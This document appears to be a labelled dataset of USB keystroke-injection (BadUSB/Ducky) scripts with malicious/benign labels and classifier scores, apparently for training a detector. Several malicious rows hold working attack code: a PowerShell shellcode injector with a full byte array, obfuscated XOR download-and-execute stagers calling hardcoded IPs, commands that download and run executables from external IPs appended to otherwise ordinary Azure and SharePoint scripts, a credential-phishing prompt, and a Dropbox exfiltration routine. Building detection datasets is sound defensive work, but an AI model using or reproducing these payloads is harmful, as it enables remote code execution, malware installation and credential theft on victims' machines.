$MAX_TRIES = #MAX_WAIT enter WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0)) enter DELAY #CHECK_INTERVAL enter $MAX_TRIES = ($MAX_TRIES - 1) enter END_WHILE enter IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN enter $_OS = WINDOWS enter END_IF enter REM_BLOCK EXAMPLE USAGE AFTER EXTENSION enter IF ($_OS == WINDOWS) THEN enter STRING HELLO WINDOWS! enter ELSE enter DUCKY_REAL_END enter",1,1,6.075595e-05,0.9999392
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_m9mw7a1b"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.json"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.478174e-05
"win r notepad enter hello world! enter shift down ctrl c ctrl v ctrl v enter = enter enter _.-------.._ -, enter .-""```""--..,,_/ /`-, -, \ enter .:"" /:/ /'\ \ ,_..., `. | | enter / ,----/:/ /`\ _\~`_-""` _; enter ' / /`""""""'\ \ \.~`_-' ,-""'/ enter | | | 0 | | .-' ,/` / enter | ,..\ \ ,.-""` ,/` / enter ; : `/`""""\` ,/--==,/-----, enter | `-...| -.___-z:_______j...---; enter : ` _-' enter _l_ _ ___ ___ ___ ___ ____--""` enter | __|| | |_ _|| _ \| _ \| __|| _ \ enter | _| | |__ | | | _/| _/| _| | / enter |_| |____||___||_| |_| |___||_|_\ enter enter flipper zero badusb feature is compatible with usb rubber ducky script format enter more information about script syntax can be found here: enter https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/file_formats/badusbscriptformat.md enter",0,0,0.9987966,0.0012034505
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_ddpwokwj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 40 Name, Id, CPU, WorkingSet64 | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_40.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.427398e-05
win+r powershell enter capslock capslock capslock capslock capslock capslock capslock capslock capslock win r powershell -nop -noni enter enter enter,1,1,0.0357312,0.9642688
"win+r enter powershell enter enter enter Login-AzAccount enter Get-AzSubscription enter Set-AzContext -SubscriptionId ""<yourSubscriptionID>"" enter $certpwd=""Password enter $certfolder=""c:\mycertificates\"" enter $adminuser=""vmadmin"" enter $adminpwd=""Password enter $clusterloc=""SouthCentralUS"" enter $clustername = ""mysftestcluster"" enter $groupname=""mysfclustergroup"" enter $vmsku = ""Standard_D1_v2"" enter $subname=""$clustername.$clusterloc.cloudapp.azure.com"" enter $clustersize=3 enter New-AzServiceFabricCluster -Name $clustername -ResourceGroupName $groupname -Location $clusterloc ` enter -ClusterSize $clustersize -VmUserName $adminuser -VmPassword $adminpwd -CertificateSubjectName $subname ` enter -CertificatePassword $certpwd -CertificateOutputFolder $certfolder ` enter -OS WindowsServer2016DatacenterwithContainers -VmSku $vmsku enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x5f,0x5d,0xee,0x04,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1254476e-05,0.99994874
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_f58whs0z"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName Application -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_errors_50.csv"") -NoTypeInformation enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_enabled_tasks.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3723456e-05
"win+r powershell enter $reportPortalUri = if ($env:PesterPortalUrl -eq $null) { 'http://localhost/reports' } else { $env:PesterPortalUrl } enter $reportServerUri = if ($env:PesterServerUrl -eq $null) { 'http://localhost/reportserver' } else { $env:PesterServerUrl } enter function VerifyFileWasDownloaded() enter { enter param( enter [Parameter(Mandatory = $True)] enter [string] enter $folderPath, enter [Parameter(Mandatory = $True)] enter [string] enter $fileName enter ) enter $localReportDownloaded = Get-ChildItem $folderPath | Where-Object { $_.Name -eq $fileName } enter $localReportDownloaded | Should Not BeNullOrEmpty enter } enter Describe ""Out-RsRestFolderContent"" { enter $rsFolderPath = """" enter $destinationPath = """" enter BeforeEach { enter $session = New-RsRestSession -ReportPortalUri $reportPortalUri enter $folderName = 'SUT_OutRsRestCatalogItem_' + [guid]::NewGuid() enter $rsFolderPath = ""/$folderName"" enter New-RsRestFolder -WebSession $session -RsFolder ""/"" -FolderName $folderName enter $localResourcesPath = (Get-Item -Path "".\"").FullName + '\Tests\CatalogItems tab estResources' enter Write-RsRestFolderContent -WebSession $session -RsFolder $rsFolderPath -Path $localResourcesPath -Recurse enter $localFolderName = 'SutOutRsRestFolderContentTest' + [guid]::NewGuid() enter $currentLocalPath = (Get-Item -Path "".\"" ).FullName enter $destinationPath = $currentLocalPath + '\' + $localFolderName enter New-Item -Path $destinationPath -type ""directory"" enter } enter AfterEach { enter Remove-RsCatalogItem -ReportServerUri $reportServerUri -RsFolder $rsFolderPath -Confirm:$false enter if ($destinationPath -ne $null -and $destinationPath.Length -ne 0 -and (Test-Path $destinationPath)) enter { enter Remove-Item -Path $destinationPath -Recurse enter } enter } enter Context ""ReportPortalUri parameter"" { enter It ""Downloads all resources from a folder"" { enter Out-RsRestFolderContent -ReportPortalUri $reportPortalUri -RsFolder $rsFolderPath -Destination $destinationPath -Verbose enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""emptyFile.txt"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""emptyReport.rdl"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""NewExcelWorkbook.xlsx"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""NewKPI.kpi"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""OldExcelWorkbook.xls"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""SimpleMobileReport.rsmobile"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""SimplePowerBIReport.pbix"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""SqlPowerBIReport.pbix"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""SutWriteRsFolderContent_DataSource.rsds"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""UnDataset.rsd"" enter } enter It ""Downloads all resources from subfolders of a folder"" { enter Out-RsRestFolderContent -ReportPortalUri $reportPortalUri -RsFolder $rsFolderPath -Destination $destinationPath -Recurse -Verbose enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""emptyFile.txt"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""emptyReport.rdl"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""NewExcelWorkbook.xlsx"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""NewKPI.kpi"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""OldExcelWorkbook.xls"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""SimpleMobileReport.rsmobile"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""SimplePowerBIReport.pbix"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""SqlPowerBIReport.pbix"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""SutWriteRsFolderContent_DataSource.rsds"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""UnDataset.rsd"" enter VerifyFileWasDownloaded -folderPath ""$destinationPath tab estResources2"" -fileName ""emptyReport2.rdl"" enter } enter } enter Context ""WebSession parameter"" { enter $webSession = $null enter BeforeEach { enter $webSession = New-RsRestSession -ReportPortalUri $reportPortalUri enter } enter It ""Downloads all resources from a folder"" { enter Out-RsRestFolderContent -WebSession $webSession -RsFolder $rsFolderPath -Destination $destinationPath -Verbose enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""emptyFile.txt"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""emptyReport.rdl"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""NewExcelWorkbook.xlsx"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""NewKPI.kpi"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""OldExcelWorkbook.xls"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""SimpleMobileReport.rsmobile"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""SimplePowerBIReport.pbix"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""SqlPowerBIReport.pbix"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""SutWriteRsFolderContent_DataSource.rsds"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""UnDataset.rsd"" enter } enter It ""Downloads all resources from subfolders of a folder"" { enter Out-RsRestFolderContent -WebSession $webSession -RsFolder $rsFolderPath -Destination $destinationPath -Recurse -Verbose enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""emptyFile.txt"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""emptyReport.rdl"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""NewExcelWorkbook.xlsx"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""NewKPI.kpi"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""OldExcelWorkbook.xls"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""SimpleMobileReport.rsmobile"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""SimplePowerBIReport.pbix"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""SqlPowerBIReport.pbix"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""SutWriteRsFolderContent_DataSource.rsds"" enter VerifyFileWasDownloaded -folderPath $destinationPath -fileName ""UnDataset.rsd"" enter VerifyFileWasDownloaded -folderPath ""$destinationPath tab estResources2"" -fileName ""emptyReport2.rdl"" enter } enter } enter } enter",0,0,0.99994385,5.616295e-05
win+r powershell enter function Invoke-CredentialsPhish { <# .SYNOPSIS Nishang script which opens a use enter r credential prompt. .DESCRIPTION This payload opens a prompt which asks for us enter er credentials and does not go away till valid local or domain credentials are e enter ntered in the prompt. .EXAMPLE PS > Invoke-CredentialsPhish enter enter,1,1,6.047266e-05,0.99993956
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_mo6x6m52"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $PSVersionTable | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.json"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4351568e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_en18jyba"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_errors_200.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3682318e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_8ekxjpa9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroup | enter Select-Object Name, Description | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_groups.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3811622e-05
"win+r enter powershell enter enter enter $WC=NEW-ObJEcT SySTeM.NeT.WeBCliENt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wC.HeaDErS.AdD('User-Agent',$u);$Wc.PRoxY = [SysTEm.NeT.WEbRequEST]::DefAuLtWeBPROXY;$Wc.PROXy.CReDenTIAlS = [SYstEM.NET.CrEdEnTIALCacHE]::DeFAULTNetWOrKCredEntiALS;$K='7b24afc8bc80e548d66c4e7ff72171c5';$I=0;[CHaR[]]$b=([chAR[]]($wC.DOwnlOaDSTRiNG(""http://100.100.100.100:8080/index.asp"")))|%{$_-bXor$K[$I++%$k.LENgTh]};IEX ($b-joiN'') enter enter",1,1,5.664024e-05,0.9999434
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_vl7l1g13"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 25 ProcessName, Id, StartTime | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_cpu_25.csv"") -NoTypeInformation enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_enabled_tasks.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4094228e-05
"win+r enter powershell enter enter enter  enter function Check-CmdletReturnType enter { enter param($cmdletName, $cmdletReturn) enter enter $cmdletData = Get-Command $cmdletName; enter Assert-NotNull $cmdletData; enter [array]$cmdletReturnTypes = $cmdletData.OutputType.Name | Foreach-Object { return ($_ -replace ""Microsoft.Azure.Commands.Network.Models."","""") }; enter [array]$cmdletReturnTypes = $cmdletReturnTypes | Foreach-Object { return ($_ -replace ""System."","""") }; enter $realReturnType = $cmdletReturn.GetType().Name -replace ""Microsoft.Azure.Commands.Network.Models."",""""; enter return $cmdletReturnTypes -contains $realReturnType; enter } enter function Test-PrivateLinkServiceCRUD enter { enter enter $rgname = Get-ResourceGroupName; enter $rname = Get-ResourceName; enter $location = Get-ProviderLocation ""Microsoft.Network/privateLinkServices"" ""westus""; enter enter $IpConfigurationName = ""IpConfigurationName""; enter $vnetName = Get-ResourceName; enter $ilbFrontName = ""LB-Frontend""; enter $ilbBackendName = ""LB-Backend""; enter $ilbName = Get-ResourceName; enter enter try enter { enter $resourceGroup = New-AzResourceGroup -Name $rgname -Location $location; enter $frontendSubnet = New-AzVirtualNetworkSubnetConfig -Name ""frontendSubnet"" -AddressPrefix ""10.0.1.0/24""; enter $backendSubnet = New-AzVirtualNetworkSubnetConfig -Name ""backendSubnet"" -AddressPrefix ""10.0.2.0/24""; enter $otherSubnet = New-AzVirtualNetworkSubnetConfig -Name ""otherSubnet"" -AddressPrefix ""10.0.3.0/24"" -PrivateLinkServiceNetworkPoliciesFlag ""Disabled""; enter $vnet = New-AzVirtualNetwork -Name $vnetName -ResourceGroupName $rgname -Location $location -AddressPrefix ""10.0.0.0/16"" -Subnet $frontendSubnet,$backendSubnet,$otherSubnet; enter $frontendIP = New-AzLoadBalancerFrontendIpConfig -Name $ilbFrontName -PrivateIpAddress ""10.0.1.5"" -SubnetId $vnet.subnets[0].Id; enter $beaddresspool= New-AzLoadBalancerBackendAddressPoolConfig -Name $ilbBackendName; enter $job = New-AzLoadBalancer -ResourceGroupName $rgname -Name $ilbName -Location $location -FrontendIpConfiguration $frontendIP -BackendAddressPool $beaddresspool -Sku ""Standard"" -AsJob; enter $job | Wait-Job enter $ilbcreate = $job | Receive-Job enter Assert-NotNull $ilbcreate; enter Assert-AreEqual $ilbName $ilbcreate.Name; enter Assert-AreEqual (Normalize-Location $location) $ilbcreate.Location; enter Assert-AreEqual ""Succeeded"" $ilbcreate.ProvisioningState enter $IpConfiguration = New-AzPrivateLinkServiceIpConfig -Name $IpConfigurationName -PrivateIpAddress 10.0.3.5 -Subnet $vnet.subnets[2]; enter $LoadBalancerFrontendIpConfiguration = Get-AzLoadBalancer -Name $ilbName | Get-AzLoadBalancerFrontendIpConfig enter $job = New-AzPrivateLinkService -ResourceGroupName $rgName -Name $rname -Location $location -IpConfiguration $IpConfiguration -LoadBalancerFrontendIpConfiguration $LoadBalancerFrontendIpConfiguration -AsJob; enter $job | Wait-Job enter $plscreate = $job | Receive-Job enter enter $vPrivateLinkService = Get-AzPrivateLinkService -Name $rname -ResourceGroupName $rgName enter Assert-NotNull $vPrivateLinkService; enter Assert-AreEqual $rname $vPrivateLinkService.Name; enter Assert-NotNull $vPrivateLinkService.IpConfigurations; enter Assert-True { $vPrivateLinkService.IpConfigurations.Length -gt 0 }; enter Assert-AreEqual ""Succeeded"" $vPrivateLinkService.ProvisioningState enter $listPrivateLinkService = Get-AzPrivateLinkService -ResourceGroupName $rgname; enter Assert-NotNull ($listPrivateLinkService | Where-Object { $_.ResourceGroupName -eq $rgname -and $_.Name -eq $rname }); enter $listPrivateLinkService = Get-AzPrivateLinkService; enter Assert-NotNull ($listPrivateLinkService | Where-Object { $_.ResourceGroupName -eq $rgname -and $_.Name -eq $rname }); enter $listPrivateLinkService = Get-AzPrivateLinkService -ResourceGroupName ""*""; enter Assert-NotNull ($listPrivateLinkService | Where-Object { $_.ResourceGroupName -eq $rgname -and $_.Name -eq $rname }); enter $listPrivateLinkService = Get-AzPrivateLinkService -Name ""*""; enter Assert-NotNull ($listPrivateLinkService | Where-Object { $_.ResourceGroupName -eq $rgname -and $_.Name -eq $rname }); enter $listPrivateLinkService = Get-AzPrivateLinkService -ResourceGroupName ""*"" -Name ""*""; enter Assert-NotNull ($listPrivateLinkService | Where-Object { $_.ResourceGroupName -eq $rgname -and $_.Name -eq $rname }); enter $job = Remove-AzPrivateLinkService -ResourceGroupName $rgname -Name $rname -PassThru -Force -AsJob; enter $job | Wait-Job; enter $removePrivateLinkService = $job | Receive-Job; enter Assert-AreEqual true $removePrivateLinkService; enter enter $list = Get-AzPrivateLinkService -ResourceGroupName $rgname enter Assert-AreEqual 0 @($list).Count enter } enter finally enter { enter enter Clean-ResourceGroup $rgname; enter } enter } enter function Test-PrivateEndpointConnectionCRUD enter { enter enter $rgname = Get-ResourceGroupName; enter $rname = Get-ResourceName; enter $location = Get-ProviderLocation ""Microsoft.Network/privateLinkServices"" ""westus2""; enter enter $IpConfigurationName = ""IpConfigurationName""; enter $vnetName = Get-ResourceName; enter $ilbFrontName = ""LB-Frontend""; enter $ilbBackendName = ""LB-Backend""; enter $ilbName = Get-ResourceName; enter enter $serverName = Get-ResourceName enter $serverLogin = ""testusername"" enter enter $serverPassword = ""t357ingP@s5w0rd!Sec"" enter $credentials = new-object System.Management.Automation.PSCredential($serverLogin, ($serverPassword | ConvertTo-SecureString -asPlainText -Force)) enter $databaseName = ""mySampleDatabase"" enter $peName = ""mype"" enter $subId = getSubscription enter enter try enter { enter $resourceGroup = New-AzResourceGroup -Name $rgname -Location $location; enter enter if ((Get-NetworkTestMode) -ne 'Playback') enter { enter enter $server = New-AzSqlServer -ResourceGroupName $rgname ` enter -ServerName $serverName ` enter -Location $location ` enter -SqlAdministratorCredentials $credentials enter enter $database = New-AzSqlDatabase -ResourceGroupName $rgname ` enter -ServerName $serverName ` enter -DatabaseName $databaseName ` enter -RequestedServiceObjectiveName ""Basic"" ` enter -Edition ""Basic"" enter enter $sqlResourceId = $server.ResourceId enter } enter else enter { enter $sqlResourceId = ""/subscriptions/$subId/resourceGroups/$rgname/providers/Microsoft.Sql/servers/$serverName"" enter } enter $peSubnet = New-AzVirtualNetworkSubnetConfig -Name peSubnet -AddressPrefix ""11.0.1.0/24"" -PrivateEndpointNetworkPolicies ""Disabled"" enter $vnetPE = New-AzVirtualNetwork -Name ""vnetPE"" -ResourceGroupName $rgname -Location $location -AddressPrefix ""11.0.0.0/16"" -Subnet $peSubnet enter enter $plsConnection= New-AzPrivateLinkServiceConnection -Name plsConnection -PrivateLinkServiceId $sqlResourceId -GroupId 'sqlServer' enter $privateEndpoint = New-AzPrivateEndpoint -ResourceGroupName $rgname -Name $peName -Location $location -Subnet $vnetPE.subnets[0] -PrivateLinkServiceConnection $plsConnection -ByManualRequest enter $pecGet = Get-AzPrivateEndpointConnection -PrivateLinkResourceId $sqlResourceId enter Assert-NotNull $pecGet; enter Assert-AreEqual ""Pending"" $pecGet.PrivateLinkServiceConnectionState.Status enter $pecApprove = Approve-AzPrivateEndpointConnection -ResourceId $pecGet.Id enter Assert-NotNull $pecApprove; enter Assert-AreEqual ""Approved"" $pecApprove.PrivateLinkServiceConnectionState.Status enter enter Start-TestSleep 30000 enter $pecRemove = Remove-AzPrivateEndpointConnection -ResourceId $pecGet.Id -PassThru -Force enter Assert-AreEqual true $pecRemove enter $pecGet2 = Get-AzPrivateEndpointConnection -PrivateLinkResourceId $sqlResourceId enter Assert-Null($pecGet2) enter enter } enter finally enter { enter enter Clean-ResourceGroup $rgname; enter } enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.6329973e-05,0.9999436
"win+r enter powershell enter enter enter $wc=NeW-ObJect SyStem.NeT.WEBCliENT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$WC.HEAdERS.Add('User-Agent',$u);$WC.PROXy = [SystEm.NEt.WEBReqUEsT]::DefAUlTWEBPrOxY;$wC.PRoXy.CREDenTIaLs = [SYsTem.NeT.CrEdENtIALCacHE]::DefAultNetWoRKCReDentialS;$K='5yA<hLMQ6908i^|r,evPq[!u7%&+4UVD';$I=0;[cHAr[]]$b=([CHaR[]]($WC.DowNLoadStRIng(""http://172.17.1.128:8080/index.asp"")))|%{$_-BXOR$K[$I++%$k.LEnGth]};IEX ($B-JoIN'') enter enter",1,1,5.4916338e-05,0.99994504
"win+r enter powershell enter enter enter  enter enter function Get-SPLists{ enter param( enter [Parameter(Mandatory=$false)] enter $SPWeb, enter enter [Parameter(Mandatory=$false)] enter [string]$FilterListName, enter enter [switch]$OnlyDocumentLibraries, enter enter [switch]$Recursive enter ) enter if ((Get-PSSnapin ""Microsoft.SharePoint.PowerShell"" -ErrorAction SilentlyContinue) -eq $null) { enter Add-PSSnapin ""Microsoft.SharePoint.PowerShell"" enter } enter $(if($SPWeb){ enter enter $SPWebUrl = (Get-SPUrl $SPWeb).Url enter enter if($Recursive){ enter enter Get-SPWebs -Url $SPWebUrl enter enter }else{ enter enter Get-SPWeb -Identity $SPWebUrl enter } enter }else{ enter enter Get-SPWebs enter enter }) | %{ enter enter $_.lists | %{ enter enter $(if($FilterListName){ enter enter $_ | where{$_.Title -eq $FilterListName} enter enter }else{ enter enter $_ enter enter }) | %{ enter enter $(if($OnlyDocumentLibraries){ enter enter $_ | where {$_.BaseType -eq ""DocumentLibrary""} enter enter }else{ enter enter $_ enter }) enter } enter } enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.58.30/~trevor/winx64.exe',""$env:APPDATA\winx64.exe"");Start-Process (""$env:APPDATA\winx64.exe"") enter enter",1,1,6.104371e-05,0.99993896
"win+r powershell enter win network properties enter enter tab tab tab enter enter win r notepad enter enter ctrl v ctrl s alt d %userprofile%\downloads enter enter tab tab tab tab tab tab tab targetloot enter enter alt f4 alt f4 win r powershell enter enter function dropbox-upload { enter enter [cmdletbinding()] enter enter param ( enter enter [parameter (mandatory = $true, valuefrompipeline = $true)] enter enter [alias(""f"")] enter enter [string]$sourcefilepath enter enter ) enter enter $dropboxaccesstoken = ""your-dropbox-access-token-here enter enter "" enter enter enter enter $outputfile = split-path $sourcefilepath -leaf enter enter $targetfilepath=""/$outputfile"" enter enter $arg = '{ ""path"": ""' + $targetfilepath + '"", ""mode"": ""add"", ""autorename"": true, ""mute"": false }' enter enter $authorization = ""bearer "" + $dropboxaccesstoken enter enter $headers = new-object ""system.collections.generic.dictionary[[string],[string]]"" enter enter $headers.add(""authorization"", $authorization) enter enter $headers.add(""dropbox-api-arg"", $arg) enter enter $headers.add(""content-type"", 'application/octet-stream') enter enter invoke-restmethod -uri https://content.dropboxapi.com/2/files/upload -method post -infile $sourcefilepath -headers $headers enter enter } win r %userprofile%\downloads\ enter enter targetloot win r %userprofile%\downloads\ enter enter targetlootalt h tab tab tab tab tab enter enter alt f4 ctrl v | dropbox-upload enter enter enter enter alt f4 enter enter",1,1,0.00080574263,0.9991942
